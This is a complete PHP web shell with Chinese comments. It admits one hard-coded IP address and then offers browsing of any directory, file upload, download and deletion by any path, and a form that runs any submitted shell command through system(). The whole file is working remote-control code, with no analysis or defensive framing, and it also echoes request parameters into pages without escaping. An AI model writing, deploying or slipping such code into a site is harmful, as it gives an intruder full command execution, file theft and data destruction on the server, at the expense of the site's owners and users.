<?php
header("content-type:text/html; charset=utf-8");
$allowed_ip = '58.55.185.136'; // 允许的IP地址
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
    die('Access Denied');
}

// 显示服务器信息
function show_server_info() {
    echo "<h2>服务器信息</h2>";
    echo "<pre>";
    phpinfo();
    echo "</pre>";
}

// 文件管理功能
function file_manager() {
    $current_dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
    if (!is_dir($current_dir)) {
        $current_dir = '.';
    }
    $files = scandir($current_dir);
    echo "<h2>文件管理</h2>";
    echo "<form method='get'>";
    echo "当前目录: <input type='text' name='dir' value='$current_dir' />";
    echo "<input type='submit' value='进入目录' />";
    echo "</form>";
    echo "<ul>";
    foreach ($files as $file) {
        if ($file == '.' || $file == '..') continue;
        $full_path = $current_dir . '/' . $file;
        echo "<li>";
        if (is_dir($full_path)) {
            echo "<a href='?dir=$full_path'>$file/</a>";
        } else {
            echo "$file";
            echo " - <a href='?download=$full_path'>下载</a>";
            echo " - <a href='?delete=$full_path'>删除</a>";
        }
        echo "</li>";
    }
    echo "</ul>";
}

// 文件上传功能
function file_upload() {
    if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
        $upload_dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
        if (!is_dir($upload_dir)) {
            $upload_dir = '.';
        }
        $file = $_FILES['file'];
        $upload_path = $upload_dir . '/' . basename($file['name']);
        if (move_uploaded_file($file['tmp_name'], $upload_path)) {
            echo "文件上传成功: $upload_path";
        } else {
            echo "文件上传失败";
        }
    }
    echo "<h2>文件上传</h2>";
    echo "<form method='post' enctype='multipart/form-data'>";
    echo "<input type='file' name='file' />";
    echo "<input type='submit' value='上传' />";
    echo "</form>";
}

// 文件下载功能
function file_download() {
    if (isset($_GET['download'])) {
        $file_path = $_GET['download'];
        if (file_exists($file_path) && is_file($file_path)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file_path));
            readfile($file_path);
            exit;
        } else {
            echo "文件不存在";
        }
    }
}

// 文件删除功能
function file_delete() {
    if (isset($_GET['delete'])) {
        $file_path = $_GET['delete'];
        if (file_exists($file_path) && is_file($file_path)) {
            if (unlink($file_path)) {
                echo "文件删除成功: $file_path";
            } else {
                echo "文件删除失败";
            }
        } else {
            echo "文件不存在";
        }
    }
}

// 命令执行功能
function command_execute() {
    if (isset($_POST['cmd'])) {
        $cmd = $_POST['cmd'];
        echo "<h2>命令执行结果</h2>";
        echo "<pre>";
        system($cmd);
        echo "</pre>";
    }
    echo "<h2>命令执行</h2>";
    echo "<form method='post'>";
    echo "<input type='text' name='cmd' placeholder='输入命令' />";
    echo "<input type='submit' value='执行' />";
    echo "</form>";
}

// 主逻辑
#show_server_info();
file_manager();
file_upload();
file_download();
file_delete();
command_execute();
?>